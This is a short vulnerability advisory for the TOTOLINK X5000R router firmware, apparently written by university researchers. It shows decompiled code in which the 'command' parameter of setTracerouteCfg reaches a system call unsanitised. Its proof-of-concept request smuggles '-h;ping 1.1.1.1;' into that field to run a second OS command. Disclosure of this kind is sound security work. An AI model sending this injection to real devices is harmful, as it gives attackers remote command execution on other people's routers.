

totolink vulnerability

vendor:TOTOLINK

product:X5000R;

version:X5000R(V9.1.0u.6118_B20201102)

type:Remote Command Execution

author:Jinwen Zhou、Yifeng Li、Yongjie Zheng

institution:potatso@scnu、feng@scnu、eifiz@scnu

Vulnerability description

We found an Command Injection vulnerability and buffer overflow vulnerability in TOTOLINK Technology router with firmware which was released recently, allows remote attackers to execute arbitrary OS commands from a crafted request.

Remote Command Injection vulnerability

In this function, `command` is directly passed by the attacker, so we can control the `command` to attack the OS.



```
1 int __fastcall sub_H1F6A0(int a1)
2 {
3     const char *v2; // $s2
4     int v3; // $v0
5     int v4; // $v0
6     char v6[128]; // [sp+18h] [-80h] BYREF
7
8     memset(v6, 0, sizeof(v6));
9     v2 = (const char *)websGetVar(a1, "command", "www.baidu.com");
10    v3 = websGetVar(a1, "num", &byte_437F70);
11    v4 = atoi(v3);
12    sprintf(v6, "tracert -m %d %s > /var/log/traceRouteLog", v4, v2);
13    doSystem(v6);
14    setResponse(&word_436104, "reserv");
```

PoC

Remote Command Injection

We set the value of `command` as **-h;ping 1.1.1.1;** and the router will execute **ping** command, such as:

POST **<http://example.com/cgi-bin/cstecgi.cgi?action=s>**

<http://example.com/cgi-bin/cstecgi.cgi?action=s>

```
{"topicurl": "setTracerouteCfg", "command": "-h;ping 1.1.1.1;", "num": "500"}
```


